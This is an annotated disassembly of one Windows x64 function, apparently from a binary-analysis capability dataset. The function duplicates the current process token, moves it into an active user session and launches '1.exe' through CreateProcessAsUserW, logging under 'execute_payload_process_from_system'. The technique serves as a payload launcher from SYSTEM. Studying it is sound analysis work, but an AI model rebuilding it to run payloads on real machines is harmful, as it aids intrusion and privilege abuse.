Function at 0x14000f6a0
Capabilities:
Create process on windows
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov rax, qword [0x140046010]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
xor esi, esi
mov dword [rbp + 0x30], esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x50]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000fb77
lea rax, [rbp - 0x58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9d, [rsi + 1]
xor r8d, r8d
mov edx, 0x2000000
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x14000fb68
mov ecx, 0x240
call fcn.140016b14
mov qword [rbp - 0x60], rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x60]
xor edx, edx
xor ecx, ecx
lea r8d, [rsi + 1]
call qword [sym.imp.WTSAPI32.dll_WTSEnumerateSessionsW]
mov ecx, esi
mov edx, dword [rbp + 0x30]
mov r8, qword [rbp - 0x60]
test rdx, rdx
je 0x14000f777
mov rax, r8
nop
mov edi, dword [rax]
cmp dword [rax + 0x10], esi
je 0x14000f963
inc rcx
add rax, 0x18
cmp rcx, rdx
jb 0x14000f760
mov rcx, r8
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
mov edi, esi
mov dword [rbp + 0x58], edi
mov r9d, 4
lea r8, [rbp + 0x58]
lea edx, [r9 + 8]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
je 0x14000fb59
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rax
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], rax
mov dword [rbp - 0x40], 0x68
lea rax, str.WinSta0Default
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x60], rsi
xor r8d, r8d
mov rdx, qword [rbp - 0x58]
lea rcx, [rbp - 0x60]
call qword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0x14000fb4a
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], rsi
mov r8d, 0xa
lea rdx, str.SYSTEMROOT
lea rcx, [rbp - 0x80]
call fcn.14000b790
nop
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rcx, qword [rbp - 0x80]
mov r8d, 0x104
lea rdx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x14000fbc0
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], rsi
mov qword [rbp + 0x78], rsi
lea rax, [rbp + 0xa0]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x14000f870
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x60]
call fcn.14000b790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x14000f8cc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f8c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fbe3
call fcn.140016878
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], si
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], rsi
mov r8d, 5
lea rdx, str.1.exe
lea rcx, [rbp + 0x38]
call fcn.14000ba10
nop
lea r9, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae r9, qword [rbp + 0x38]
lea r8, str.process_to_execute:__s
mov edx, 0x2b
lea rcx, str.execute_payload_process_from_system
call fcn.14000f060
mov rbx, qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], si
mov dword [rbp + 0x30], 3
mov rdx, qword [rbp + 0x48]
test rdx, rdx
jne 0x14000f971
mov qword [rsp + 0x70], rdx
mov word [rsp + rdx*2 + 0x60], si
jmp 0x14000f9a3
mov rcx, r8
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
jmp 0x14000f782
cmp rdx, 7
ja 0x14000f996
mov qword [rsp + 0x70], rdx
test rdx, rdx
je 0x14000f98f
movzx eax, si
lea rdi, [rsp + 0x60]
mov rcx, rdx
rep stosw word [rdi], ax
mov word [rsp + rdx*2 + 0x60], si
jmp 0x14000f9a3
mov r9, rdx
lea rcx, [rsp + 0x60]
call fcn.14000bc80
lea r9, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae r9, qword [rbp + 0x38]
mov r8, qword [rsp + 0x70]
inc r8
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdx, qword [rsp + 0x60]
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x80]
call fcn.14002212c
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdx, qword [rsp + 0x60]
lea rax, [rbp + 0x88]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], 0x430
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
setne dil
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x14000fa78
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fa73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fbe9
call fcn.140016878
test dil, dil
je 0x14000fa97
lea r8, str.create_process_as_user_successfully_executed.
mov edx, 0x2b
lea rcx, str.execute_payload_process_from_system
call fcn.14000f060
jmp 0x14000fab9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
lea r8, str.create_process_as_user_failed:_0x_x
mov edx, 0x2d
lea rcx, str.execute_payload_process_from_system
call fcn.14000f060
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x14000faf4
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000faef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fbef
call fcn.140016878
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 8
jb 0x14000fb98
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fb43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fbf5
call fcn.140016878
jmp 0x14000fb98
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, str.create_environment_block_failed:_0x_x
jmp 0x14000fb84
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, str.set_token_information_failed:_0x_x
jmp 0x14000fb84
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, str.duplicate_token_ex_failed:_0x_x
jmp 0x14000fb84
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, str.open_process_token_failed:_0x_x
mov r9d, eax
mov edx, 0x2d
lea rcx, str.execute_payload_process_from_system
call fcn.14000f060
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.140016330
lea r11, [rsp + 0x3c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
lea rdx, str.GetEnvironmentVariableW_failed
lea rcx, [rsp + 0x60]
call fcn.1400055d0
lea rdx, [0x1400447a0]
lea rcx, [rsp + 0x60]
call fcn.1400185fc
nop
call fcn.14001ccd4
nop
call fcn.14001ccd4
nop
call fcn.14001ccd4
nop
call fcn.14001ccd4
int3